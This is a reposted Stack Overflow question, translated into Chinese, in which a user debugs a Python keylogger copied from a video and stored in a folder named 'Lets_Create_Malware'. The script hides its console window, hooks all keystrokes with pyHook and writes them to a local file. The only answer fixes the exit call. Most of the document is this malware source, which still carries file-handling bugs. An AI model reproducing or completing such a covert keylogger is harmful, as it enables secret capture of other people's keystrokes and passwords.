gpt4 book ai didi

python - 即使我包含了库,python 也会出错

转载 作者:行者123 更新时间:2023-12-01 03:51:15 25 4
gpt4 key购买 nike

我有基于YouTube video的Python代码

当我输入 Ctrl-E 退出时,出现错误Traceback(最近一次调用最后一次):
文件“C:\Python27\lib\site-packages\pyHook\HookManager.py”,第 351 行,在 KeyboardSwitch 中
返回函数(事件)
文件“C:/Lets_Create_Malware/keyz.pyw”,第 21 行,在 OnKeyboardEvent 中
_退出(1)
NameError:全局名称“_exit”未定义
即使我包含了sys库。

我对此快疯了。这是我记录的代码。非常感谢任何帮助。

import win32api #win32* to interact with Windows environment
import win32console
import win32gui

import pythoncom #python to interact with windows
import pyHook #captures input, such as from a keyboard

import sys #use system-specific parameters such as _exit
import logging #enables logging


#hide python command window
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

#exit script that uses ASCII value 5 to end program
#ASCII value 5 is same as Ctrl-E
#OnKeyboardEvent is invoked with key on keyboard is pressed
def OnKeyboardEvent(event):
if event.Ascii == 5:
_exit(1)

#if input is not null or backspace, record input
if event.Ascii != 5:

#open read-only copy of log file and save to variable buffer
f=open('c:\\Lets_Create_Malware\\output.txt', 'w+')
buffer=f.read()
f.close

#re-open log file, this time you can write to it
f=open('c:\\Lets_Create_Malware\\output.txt','w')

#save all log information as variable keylogs
keylogs=chr(event.Ascii)



#append variable keylogs to variable buffer
buffer += keylogs

#write buffer to the writable logfile, C:\output.txt
f.write(buffer)

#close the logfile
f.close()

#create hook manager
hm = pyHook.HookManager()

#watch for all key events
hm.KeyDown = OnKeyboardEvent

#set the hook that captures all the events
hm.HookKeyboard()

#record the events
pythoncom.PumpMessages()

最佳答案

要在 python 中使用导入的模块,您必须以 module.method 形式调用模块中的方法,因此您应该使用 sys.exit(1) 而不是 _退出(1)

关于python - 即使我包含了库,python 也会出错,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/38215425/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com